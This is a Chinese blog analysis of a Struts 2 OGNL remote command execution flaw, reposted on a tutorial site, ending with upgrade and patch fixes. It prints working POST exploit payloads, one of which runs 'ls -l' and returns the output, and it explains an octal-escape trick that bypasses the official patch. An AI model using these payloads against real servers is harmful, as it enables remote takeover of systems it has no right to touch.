来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] Struts 2是在struts 和WebWork的技术基础上进行了合并的全新的框架。其全新的Struts 2的体系结构与Struts 1的体系结构的差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,...
Struts 2是在struts 和WebWork的技术基础上进行了合并的全新的框架。其全新的Struts 2的体系结构与Struts 1的体系结构的差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与Servlet API完全脱离开,所以Struts 2可以理解为WebWork的更新产品.
近期Struts2爆发了一远程命令执行漏洞,,各种版本的漏洞利用工具让CNVD非常的蛋疼.下面贴出 livers大大针对此漏洞的分析. 以POST的方式提交绕过对输入参数的部分过滤。 ('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(8000)')(d)) 当前线程sleep 8S 命令执行主要是通过ognl对象的上下文内置静态函数进行执行的。 如@Runtime@getRuntime().exec method 访问静态方法 xwork 的ognl语句 执行,变量必须要带有#,之前通过\0023 (16进制的#) 来绕过,官方补丁屏蔽了这种但是可以利用\43(8进制的#)进行绕过。 实现交互的shell. www.2cto.com ('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'ls\40\u002dl\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d)) \75 (=的8进制)\40(空格的8进制)ongl语句中执行的参数不允许出现空格。当然包括其他 老版本的正则 是^#=:都不允许,通杀的话是用\40来替代。 这样上面就是 1.设置上下文denyMethodExecution=false 运行方法执行 2.excludeProperties=@java.util.Collections@EMPTY_SET (调用静态变量) 设置外部拦截器为空 3.mycmd=“ls -l” 定义我们的执行命令的变量 4.myret=@java.lang.Runtime@getRuntime().exec(\43mycmd)') (调用静态方法执行我们的变量) 5.mydat=new java.io.DataInputStream(\43myret.getInputStream())') 获取输入流(post) 6.myres=new data[51020];mydat.readfully(myres); 读取输入流 (5,6为了转换输入流的类型) 7.mystr=new java.lang.String(#myres) ;定义并赋值输入流 8.myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的数据 9.myout.getWriter().println(#mystr) ;把response的数据打印到屏幕上。 Struts2漏洞修复方案: 下载最新的版本2.3.4:http://struts.apache.org/download.cgi#struts234 或者修改对应jar中的ongl处理逻辑,然后编译打包替换旧的文件。 waf之类的,安全点就只保留字母数字,其它的全部删除 感谢银古大大的修复意见 摘自 葙守's Blog |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com